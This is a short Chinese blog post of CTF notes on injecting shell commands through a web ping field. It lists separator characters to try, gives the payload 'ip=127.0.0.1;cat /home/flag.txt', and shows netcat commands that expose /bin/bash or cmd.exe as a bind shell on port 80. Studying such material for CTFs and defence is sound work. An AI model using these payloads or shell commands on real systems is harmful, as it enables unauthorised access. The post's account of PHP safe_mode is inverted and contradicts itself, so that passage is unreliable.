CTF關於ping命令注入問題(1)

題目樣式

對於看到ping或者ping命令卻沒有弄waf時就要想到命令注入。

具體注入方法

看到ping命令就可以利用截斷來執行新的命令。
首先測試所有的截斷符號:
‘$’
‘;’
‘|’
‘-’
‘(’
‘)’
‘反引號’
‘||’
‘&&’
‘&’
‘}’
‘{’
'%0a’可以當作空格來用;
利用截斷符號配合普通命令簡單問題基本就出來;
例如:ip=127.0.0.1;cat /home/flag.txt
簡單的flag就出來了,也可以配合其他的進行;

命令注入原因

系統提供命令執行類函數主要方便處理相關應用場景的功能.而當不合理的使用這類函數,同時調用的變量未考慮安全因素,就會執行惡意的命令調用,被攻擊利用。

方法

此類命令執行函數依賴PHP配置文件的設置,如果配置選項 safe_mode 設置爲 off,此類命令不可執行,必須設置爲 On
的情況下,纔可執行。PHP 默認是關閉的。在安全模式下,只有在特定目錄中的外部程序纔可以被執行,對其它程序的調用將被拒絕。這個目錄可以在php.ini文件中用 safe_mode_exec_dir指令,或在編譯PHP是加上 –with-exec-dir選項來指定,默認是/usr/local/php /bin。
1:檢測一階命令注入的最佳方式是嘗試執行一個sleep命令
2:在外部可以訪問的端口上生成一個shell(僅適用於自定義netcat構建):nc -l -n -vv -p 80 -e /bin/bash (unix) 或 nc -l -n -vv -p 80 -e cmd.exe (windows)。
3:如果想要知道目標主機名的長度,我們可以將主機名的輸出通過管道符傳遞給wc -c命令。
另外還有很多方法來進行命令注入。等我詳細閱讀之後繼續整理

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章